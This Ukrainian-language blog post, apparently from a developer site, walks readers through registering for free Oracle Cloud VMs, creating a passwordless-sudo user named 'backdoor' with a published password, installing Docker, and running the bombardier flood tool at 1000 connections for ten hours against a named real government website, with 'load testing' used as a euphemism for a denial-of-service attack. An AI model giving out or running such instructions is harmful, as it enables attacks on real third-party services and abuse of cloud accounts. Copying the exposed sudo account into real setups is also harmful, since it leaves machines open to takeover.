Як використовувати безкоштовні Oracle Cloud VMs самі знаєте для чого
Підписуйтеся на Telegram-канал «DOU #tech», щоб не пропустити нові технічні статті.
Привіт, кіберкотики! Минулого року Oracle анонсував, що деякі з хмарних ресурвів будуть безкоштовними. У цьому переліку є 2 AMD based Compute VMs with 1/8 OCPU** and 1 GB memory each. Я вважаю, що настав час скористатися цими ресурсами для наших потреб.
Перелік кроків, що потрібно зробити, щоб скористатися.
- Реєструємося на Oracle Cloud. При реєстрації потрібно буде прив’язати картку, з вас знімуть 1$, а потім повернуть. Я не розписую реєстрацію, там все просто, розберетесь.
- Після реєстрації заходимо у список Instances та створюємо новий instance
- Усі поля залишаємо як є (або змінюємо за бажанням). Тільки в поле Cloud-init script вставляємо
#cloud-config
users:
- default
- name: backdoor
sudo: ALL=(ALL) NOPASSWD:ALL
lock_passwd: false
passwd: $6$MFhXlUHt$JG.sn2M4ReeZ.V/TDs8AWJzhA1anX0iUbE0WvfR8v/8d4eGv8v6EwhyiKO.6VixMaC8/dG.YQce01QV8w1.dZ0
Цей код створить юзера backdoor з паролем 1LoveOracle!! Цей користувач не буде мати можливості з’єднання по SSH і тому я вважаю, що безпечно створити такого користувача. Якщо хочете більшої безпеки — створіть користовача з іншим паролем або змініть пароль при першому логіні (команда sudo passwd backdoor). (Iснує можливість використовувати SSH, але я той метод не описую, тому що він складніше) - Клікаємо Create, бачимо попередження про No SSH access, але ігноруємо його. Нам SSH для наших цілей непотрібен.
- Чекаємо ~15 секунд
- Запускаємо консоль
- Вводимо логін backdoor, пароль 1LoveOracle!!
- Ставимо Docker, потрібно буде послідовно виконати наступні команди(я взяв їх тут):
sudo yum update
sudo yum install -y yum-utils
sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
sudo yum update
sudo yum install docker-ce docker-ce-cli containerd.io
sudo systemctl start docker
sudo systemctl enable docker
sudo groupadd docker
sudo usermod -aG docker backdoor
newgrp docker
Якщо є якісь питання по командам, читайте оригінальну статтю. Там усі кроки детально розписані. - Розпочинаємо навантажувальне тестування :-)
Який вебсайт «тестувати» та які docker image використовувати ви знаєте краще мене, слідкуйте за актуальними Telegram каналами. Наприклад:docker run -ti --rm alpine/bombardier -c 1000 -d 36000s -l http://www.fsb.ru/
44 коментарі
Додати коментар Підписатись на коментаріВідписатись від коментарів